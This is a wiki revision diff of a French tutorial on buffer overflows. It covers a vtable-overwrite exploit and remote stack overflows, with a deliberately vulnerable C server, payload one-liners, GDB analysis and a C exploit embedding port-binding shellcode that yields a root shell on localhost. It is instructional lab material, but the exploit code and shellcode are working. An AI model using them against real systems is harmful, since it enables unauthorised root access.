+ | _ZNSt8ios_base4InitC1Ev(0x804928d, 0, 0, 0xf7ce5243) = 0xf7fb5454 | ||
+ | __cxa_atexit(0x80486e0, 0x804928d, 0x8049158, 0xf7ce5243) = 0 | ||
+ | atoi(0xffffd4ef, 0xffffd364, 0xffffd370, 0xf7ce53fd) = 1 | ||
+ | _Znwj(4, 0, 10, 0) = 0x804a008 | ||
+ | gets(0xffffd26c, 0, 10, 0) = 0xffffd26c | ||
+ | --- SIGSEGV (Segmentation fault) --- | ||
+ | +++ killed by SIGSEGV +++ | ||
+ | </code> | ||
+ | Nous voyons que juste avant de provoquer une erreur de segmentation, ''gets'' utilise l'adresse ''0xffffd26c'', alors que GDB plaçait notre buffer en ''0xffffd21c''. Nous déduisons donc qu'il y a un offset de 0x50 au niveau des adresses.\\ | ||
+ | Essayons d'appliquer cet offset aux 2 adresses de la payload (celle du shellcode n'a pas d'importance).\\ | ||
+ | Nous avions : | ||
+ | <code> | ||
+ | 0xffffd220 (= 0xffffd21c + 4) + | ||
+ | 0xffffde80 + | ||
+ | 24 * 'A' (=32 – 2 * adresses) + | ||
+ | 0xffffd21c | ||
+ | </code> | ||
+ | Ce qui donne donc avec un décalage de 0x50 : | ||
+ | <code> | ||
+ | 0xffffd270 + | ||
+ | 0xffffde80 + | ||
+ | 24 * 'A' + | ||
+ | 0xffffd26c | ||
+ | </code> | ||
+ | Retentons : | ||
+ | <code> | ||
+ | $ cat <(python -c "print '\x70\xd2\xff\xff' + '\x80\xde\xff\xff' + 'A' * 24 + '\x6c\xd2\xff\xff'") - |./vptrShellcode 1 | ||
+ | whoami | ||
+ | root | ||
+ | </code> | ||
+ | We did it ! | ||
+ | |||
+ | ===== 7. Remote buffer overflows ===== | ||
+ | |||
+ | //**(ASLR désactivé)**//\\ | ||
+ | Dans cette section, nous allons aborder l'exploitation à distance des buffer overflows. En effet, apprendre à exploiter un programme localement peut être très utile, mais l'attaque à distance a sûrement plus de chances d'arriver dans une situation réelle. Le principe de base n'est pas très différent de celui d'une exploitation en local à deux choses près : d'une part nous allons utiliser des sockets pour communiquer avec le serveur, et d'autre part nous n'avons pas d'accès physique à la machine, ce qui fait que nous n'allons pas appeler ''system("/bin/sh")'' de la même manière que nous le faisions jusqu'ici. | ||
+ | |||
+ | __Socket (Wiki)__:\\ | ||
+ | Il s’agit d’une interface logicielle avec les services du système d’exploitation, grâce à laquelle un développeur exploitera facilement et de manière uniforme les services d’un protocole réseau. Comme nous sommes ici en C, tout ce dont nous aurons besoin de situe dans ''netinet/in.h''. | ||
+ | |||
+ | ==== 7.1 Introduction aux remote BOF ==== | ||
+ | |||
+ | Cette première démonstration va être très simple car nous allons simplement nous contenter d'imprimer un message de validation. Pour effectuer l'attaque, nous allons lancer dans une première shell le programme ''server'', dont le code est donné ci dessous (le port choisi est 42742, et n'est évidemment pas une obligation) : | ||
+ | <file C server.c> | ||
+ | #include <stdio.h> | ||
+ | #include <stdlib.h> | ||
+ | #include <string.h> | ||
+ | #include <netinet/in.h> | ||
+ | |||
+ | #define BUFFER_SIZE 256 | ||
+ | #define MESSAGE_SIZE 141 | ||
+ | |||
+ | /** gcc -m32 -o server server.c -fno-stack-protector**/ | ||
+ | |||
+ | typedef struct sockaddr SOCKADDR; | ||
+ | typedef struct sockaddr_in SOCKADDR_IN; | ||
+ | |||
+ | void run(int); | ||
+ | |||
+ | int main(int argc, char **argv){ | ||
+ | SOCKADDR_IN server, client; | ||
+ | int socket_res, size_sockaddrin, accept_res, recv_res; | ||
+ | |||
+ | socket_res = socket(AF_INET, SOCK_STREAM, 0); | ||
+ | if(socket_res < 0){ | ||
+ | printf("Error: unable to create the socket\n"); | ||
+ | } | ||
+ | |||
+ | server.sin_family = AF_INET; | ||
+ | server.sin_addr.s_addr = INADDR_ANY; | ||
+ | server.sin_port = htons(42742); | ||
+ | |||
+ | if(bind(socket_res, (SOCKADDR *)&server, sizeof server) < 0){ | ||
+ | printf("Error: unable to bind\n"); | ||
+ | } | ||
+ | |||
+ | listen(socket_res, 5); | ||
+ | printf(" ====================== Listening ... ======================\n"); | ||
+ | size_sockaddrin = sizeof(SOCKADDR_IN); | ||
+ | accept_res = accept(socket_res, (SOCKADDR *)&client, (socklen_t *)&size_sockaddrin); | ||
+ | if(accept_res < 0){ | ||
+ | printf("Error: unable to accept incoming connection\n"); | ||
+ | } | ||
+ | |||
+ | printf(" ====================== Connected ... ======================\n"); | ||
+ | run(accept_res); | ||
+ | return 0; | ||
+ | } | ||
+ | |||
+ | void run(int accept_res){ | ||
+ | char tweet[MESSAGE_SIZE]; | ||
+ | char buffer[BUFFER_SIZE]; | ||
+ | int data = recv(accept_res, buffer, BUFFER_SIZE, 0); | ||
+ | if(data > 0){ | ||
+ | buffer[data-1] = '\0'; | ||
+ | strcpy(tweet, buffer); | ||
+ | printf("Your tweet: %s\n", tweet); | ||
+ | } | ||
+ | else if(data == -1){ | ||
+ | printf("Error: unable to receive\n"); | ||
+ | } | ||
+ | close(accept_res); | ||
+ | } | ||
+ | |||
+ | void printOK(){ | ||
+ | printf("OK\n"); | ||
+ | } | ||
+ | </file> | ||
+ | Ce programme tout simple va écouter sur le port 42742 en attendant la connexion d'un client. Si un client se connecte et envoie une string, le programme va simplement la lui imprimer et clore la connexion. Nous ferons tourner le programme sur localhost, et parallèlement, nous jouerons le rôle de l'attaquant dans une seconde shell, côté client.\\ | ||
+ | Ici, la faille est assez évidente : la fonction ''strcpy'' dans ''run'' va copier le contenu d'un buffer dont la capacité est de 256 bytes vers un buffer de 141 bytes. Ce buffer plus petit va donc déborder et nous allons pouvoir écraser l'adresse de retour de la fonction et rediriger le programme vers la fonction voulue (''printOK''). | ||
+ | |||
+ | Premièrement, il faut déterminer l'adresse de retour et la taille de la string junk, alors pour cela, lançons GDB dans la shell serveur : | ||
+ | <code> | ||
+ | (gdb) print printOK | ||
+ | $1 = {<text variable, no debug info>} 0x8048741 <printOK> | ||
+ | </code> | ||
+ | Ensuite, trouvons la taille de la string junk en observant le code de ''run'' où se situe la fonction vulnérable : | ||
+ | <code> | ||
+ | (gdb) disas run | ||
+ | Dump of assembler code for function run: | ||
+ | … | ||
+ | 0x080486fa <+60>: lea -0x199(%ebp),%eax | ||
+ | 0x08048700 <+66>: push %eax | ||
+ | 0x08048701 <+67>: lea -0x99(%ebp),%eax | ||
+ | … | ||
+ | End of assembler dump. | ||
+ | </code> | ||
+ | Aux lignes <+60> et <+67> nous voyons que les paramètres de la fonction ''strcpy'' sont situés à 256 bytes (''0x199 – 0x99 = 0x100 = 256'') l'un de l'autre. Le premier est à ''%ebp -0x99'', c'est-à-dire situé à 153 bytes de ''%ebp''.\\ | ||
+ | Ainsi, la payload se construit avec : | ||
+ | <code> | ||
+ | 153 bytes de junk + | ||
+ | 4 bytes de junk pour écraser le pointeur de base + | ||
+ | adresse de retour (0x8048741) | ||
+ | </code> | ||
+ | Pour finir, dans la shell serveur lançons ''server'' sans debugger : | ||
+ | <code> | ||
+ | $ ./server | ||
+ | ====================== Listening ... ====================== | ||
+ | </code> | ||
+ | Puis dans la shell client, comme lors d'une exploitation locale, plaçons la payload dans le ''stdin'' avec ''cat'', et utilisons un pipe pour l'envoyer via ''telnet'': | ||
+ | <code> | ||
+ | $ cat <(python -c "print 'A' * 157 +'\x41\x87\x04\x08'") | telnet 127.0.0.1 42742 | ||
+ | Trying 127.0.0.1... | ||
+ | Connected to 127.0.0.1. | ||
+ | Escape character is '^]'. | ||
+ | Connection closed by foreign host | ||
+ | </code> | ||
+ | La connexion a été fermée, alors revenons dans la shell serveur pour observer ce qu'il s'est passé. On a maintenant : | ||
+ | <code> | ||
+ | … | ||
+ | ====================== Connected ... ====================== | ||
+ | Your tweet: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS�# | ||
+ | OK | ||
+ | Erreur de segmentation | ||
+ | </code> | ||
+ | Le message OK a bien été imprimé, nous sommes donc capables de contrôler le haut de la pile ! | ||
+ | |||
+ | ==== 7.2 Obtenir une shell ==== | ||
+ | Corrompre des données, c'est bien, obtenir une shell en root c'est mieux !\\ | ||
+ | Pour cela, nous allons injecter dans notre payload un shellcode permettant d'obtenir cette shell. Toutefois, le shellcode utilisé pour une exploitation à distance ne peut pas être le même que lors d'une attaque en local. En effet, la shell ne serait pas utilisable car nous perdrions ses ''file descriptors''. Pour pallier à ce problème, nous allons utiliser un shellcode qui va attacher une shell sur un port auquel nous nous connecterons ensuite, ainsi nous pourrons avoir une shell interactive (//port binding shell//). | ||
+ | |||
+ | Pour le serveur, le code ne change presque pas, si ce n'est que nous n'avons plus besoin de la fonction ''printOK'' que l'on peut alors enlever. En revanche, le programme doit être recompilé de la manière sivante sinon le shellcode ne pourrait pas être exécuté : | ||
+ | <code> | ||
+ | # gcc -m32 -o server server.c -fno-stack-protector -z execstack | ||
+ | </code> | ||
+ | et le bit suid a été activé : | ||
+ | <code> | ||
+ | # chmod +s server | ||
+ | </code> | ||
+ | Pour l'exploit, nous allons cette fois ci l'écrire en C au lieu de simplement le taper en ligne de commande. Le programme se contentera d'ouvrir une connexion et d'envoyer la payload.\\ | ||
+ | Nous savons déjà grâce à l'exploit précédent qu'il faut 157 bytes avant d'écraser l'adresse de retour, sauf que cette fois-ci nous n'allons pas mettre n'importe quoi avant cette adresse. Comme nous utilisons un shellcode il est préférable de placer une NOP sled devant afin d'éviter les problèmes de décalages d'adresses. | ||
+ | |||
+ | Pour la payload, nous avons donc logiquement : | ||
+ | <code> | ||
+ | NOP sled + | ||
+ | shellcode + | ||
+ | adresse de retour | ||
+ | </code> | ||
+ | Le shellcode que nous allons utiliser est celui attribué à Bighawk (78 bytes) permettant de binder une shell sur le port 26112 : | ||
+ | <code> | ||
+ | \x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10\x51\x50 | ||
+ | \x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f | ||
+ | \xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80 | ||
+ | </code> | ||
+ | En sachant que la NOP sled et le shellcode doivent être contenus dans 157 bytes, nous avons donc une NOP sled de 157 – 78 = 79 bytes, ce qui est assez confortable. | ||
+ | |||
+ | Pour déterminer l'adresse de retour, nous allons devoir déterminer où commence le buffer, alors lançons GDB et plaçons un breakpoint juste après ''strcpy'' (dans la shell serveur) : | ||
+ | <code> | ||
+ | $ gdb ./server | ||
+ | … | ||
+ | (gdb) disas run | ||
+ | Dump of assembler code for function run: | ||
+ | … | ||
+ | 0x080486fa <+74>: call 0x8048420 <strcpy@plt> | ||
+ | 0x080486ff <+79>: add $0x10,%esp | ||
+ | … | ||
+ | End of assembler dump. | ||
+ | (gdb) break *0x080486ff | ||
+ | Breakpoint 1 at 0x80486ff | ||
+ | (gdb) run | ||
+ | Starting program: /home/enzo/Documents/BOF/stack_BOF/server | ||
+ | ====================== Listening ... ====================== | ||
+ | </code> | ||
+ | Puis dans la shell client envoyons un message inoffensif : | ||
+ | <code> | ||
+ | $ cat <(python -c "print 'A' * 16")|telnet 127.0.0.1 42742 | ||
+ | Trying 127.0.0.1... | ||
+ | Connected to 127.0.0.1. | ||
+ | Escape character is '^]'. | ||
+ | Connection closed by foreign host. | ||
+ | </code> | ||
+ | Ensuite, allons regarder dans la shell serveur où se situe le buffer. GDB doit normalement être au niveau du breakpoint : | ||
+ | <code> | ||
+ | (gdb) x/24x $esp | ||
+ | 0xffffd1d0:0xffffd2ef 0xffffd1ef 0x00000100 0x00000000 | ||
+ | 0xffffd1e0:0xf15ae9b5 0x078ad74d 0xf7e0dec8 0x41ff8280 | ||
+ | 0xffffd1f0:0x41414141 0x41414141 0x41414141 0x0d414141 | ||
+ | 0xffffd200:0x00000000 0x00000010 0x00000001 0xf7fb3000 | ||
+ | 0xffffd210:0x00000000 0x00000000 0x00000001 0x00000790 | ||
+ | 0xffffd220:0xf7fd9b58 0xf7fd9860 0x080482dd 0xf7e17438 | ||
+ | </code> | ||
+ | Nous voyons que le début du buffer avec les 41 est aux alentours de ''0xffffd1f0''. Comme la NOP sled a une taille de 79 bytes, ajoutons environ 40 pour obtenir une adresse de retour satisfaisante. Pour l'exemple, nous prendrons ''**0xffffd250**''. | ||
+ | |||
+ | Ainsi, notre exploit en C commence ainsi : | ||
+ | <file C exploit.c> | ||
+ | #include <stdio.h> | ||
+ | #include <stdlib.h> | ||
+ | #include <string.h> | ||
+ | #include <netinet/in.h> | ||
+ | |||
+ | #define OFFSET 157 | ||
+ | #define SHELLCODE_SIZE 78 | ||
+ | typedef struct sockaddr_in SOCKADDR_IN; | ||
+ | typedef struct sockaddr SOCKADDR; | ||
+ | |||
+ | const char shellcode[] = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x50\xd2\xff\xff"; | ||
+ | |||
+ | int main(int argc, char **argv){} | ||
+ | </file> | ||
+ | Nous déclarons donc quelques constantes, puis nous ajoutons le shellcode en le concaténant avec l'adresse de retour.\\ | ||
+ | Ensuite, dans la méthode ''main'', nous allons commencer par déclarer les variables locales et ajouter la NOP sled au début de la payload : | ||
+ | <file C exploit.c> | ||
+ | char payload[OFFSET + 5]; //+4 pour l'adresse + null byte | ||
+ | int socket_res, send_res; //retours des fonctions socket et send | ||
+ | SOCKADDR_IN server; | ||
+ | |||
+ | memset(payload, 0x90, OFFSET-SHELLCODE_SIZE); | ||
+ | memcpy(payload + OFFSET-SHELLCODE_SIZE, shellcode, strlen(shellcode)); | ||
+ | </file> | ||
+ | La méthode ''memset'' nous permet de placer ''OFFSET – SHELLCODE_SIZE = 157 – 78 = 79'' caractères ''\x90'' au début de la payload. Puis, ''memcpy'' nous permet de placer le shellcode à la fin de la NOP sled. Ces deux méthodes sont similaires : la première nous permet de copier le même caractère plusieurs fois alors que la seconde copie une string.\\ | ||
+ | Ensuite, initialisons le socket: | ||
+ | <file C exploit.c> | ||
+ | socket_res = socket(AF_INET, SOCK_STREAM, 0); | ||
+ | if(socket_res < 0){ | ||
+ | printf("Can't create socket\n"); | ||
+ | return -1; | ||
+ | } | ||
+ | |||
+ | server.sin_family = AF_INET; | ||
+ | server.sin_addr.s_addr = inet_addr("127.0.0.1"); //localhost | ||
+ | server.sin_port = htons(42742); //port sur lequel tourne server | ||
+ | </file> | ||
+ | Puisque c'est un exploit, nous n'avons pas fait tous les tests normalement nécessaires lors d'un vrai échange client-serveur. Ne reste ensuite qu'à nous connecter et envoyer la payload : | ||
+ | <file C exploit.c> | ||
+ | if (connect(socket_res, (SOCKADDR*)&server, sizeof(server)) < 0){ | ||
+ | printf("Can't connect\n"); | ||
+ | return -2; | ||
+ | } | ||
+ | |||
+ | send_res = send(socket_res, payload, strlen(payload), 0); | ||
+ | close(socket_res); | ||
+ | return 0; | ||
+ | </file> | ||
+ | L'exploit est à présent terminé, nous pouvons le compiler dans la shell client : | ||
+ | <code> | ||
+ | $ gcc -o exploit exploit.c -m32 | ||
+ | </code> | ||
+ | Ensuite, il ne reste plus qu'à lancer le programme ''server'' dans la shell serveur : | ||
+ | <code> | ||
+ | $ ./server | ||
+ | ====================== Listening ... ====================== | ||
+ | </code> | ||
+ | Puis à lancer le programme ''exploit'' dans la shell client qui va tout faire pour nous : | ||
+ | <code> | ||
+ | $ ./exploit | ||
+ | </code> | ||
+ | A présent, nous avons dans la shell serveur ceci avec le stdin ouvert : | ||
+ | <code> | ||
+ | … | ||
+ | ====================== Connected ... ====================== | ||
+ | Your tweet: �������������������������������������������������������������������������������1���SCSj#���fRP̀CfS��j#QP��RP�f̀���#�f̀C�f̀�ٓ�?̀Iy�Rhn/shh//bi��RS��� | ||
+ | P�������� | ||
+ | |||
+ | </code> | ||
+ | Nous n'avons plus qu'à revenir dans la shell client et à nous connecter sur le port 26112 sur lequel doit être bindée la shell : | ||
+ | <code> | ||
+ | $ telnet 127.0.0.1 26112 | ||
+ | Trying 127.0.0.1... | ||
+ | Connected to 127.0.0.1. | ||
+ | Escape character is '^]'. | ||
+ | whoami; | ||
+ | root | ||
+ | : not found: | ||
+ | </code> | ||
+ | (Ne pas oublier le point-virgule à la fin des commandes) | ||
+ | |||
+ | Et voila ! | ||
+ | |||
+ | ===== 8. Monsieur, chez moi ça marche pas ! ===== | ||
Si vous testez ces techniques sur d'autres programmes, il est effectivement possible que l'attaque ne marche pas et qu'une erreur de segmentation persiste. Dans ce cas, voici quelques conseils : | Si vous testez ces techniques sur d'autres programmes, il est effectivement possible que l'attaque ne marche pas et qu'une erreur de segmentation persiste. Dans ce cas, voici quelques conseils : | ||
Ligne 871: | Ligne 1724: | ||
* n'oubliez pas le tiret avant le pipe de séparation des commandes, il permet de garder le standard input ouvert, sinon la shell se fermerait instantanément. | * n'oubliez pas le tiret avant le pipe de séparation des commandes, il permet de garder le standard input ouvert, sinon la shell se fermerait instantanément. | ||
+ | ===== 9. Ressources ===== | ||
Ressources principales :\\ | Ressources principales :\\ | ||
Exploitation avancée de buffer overflow : https://lasec.epfl.ch/~oechslin/advbof.pdf \\ | Exploitation avancée de buffer overflow : https://lasec.epfl.ch/~oechslin/advbof.pdf \\ | ||
Ligne 878: | Ligne 1732: | ||
Ret2libc : https://www.exploit-db.com/docs/17131.pdf \\ | Ret2libc : https://www.exploit-db.com/docs/17131.pdf \\ | ||
Integer overflow : http://phrack.org/issues/60/10.html \\ | Integer overflow : http://phrack.org/issues/60/10.html \\ | ||
- | limits.h : http://www.scs.stanford.edu/histar/src/pkg/uclibc/include/limits.h | + | limits.h : http://www.scs.stanford.edu/histar/src/pkg/uclibc/include/limits.h \\ |
+ | C++ vtables : http://phrack.org/issues/56/8.html\\ | ||
+ | Port binding shell :https://www.exploit-db.com/papers/143/ |